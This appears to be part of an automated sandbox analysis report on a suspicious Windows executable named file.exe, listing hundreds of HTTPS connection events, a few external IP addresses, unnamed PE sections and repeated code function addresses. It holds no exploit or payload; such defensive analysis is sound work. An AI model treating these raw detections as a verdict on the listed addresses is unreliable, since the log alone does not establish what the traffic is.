Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50055 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
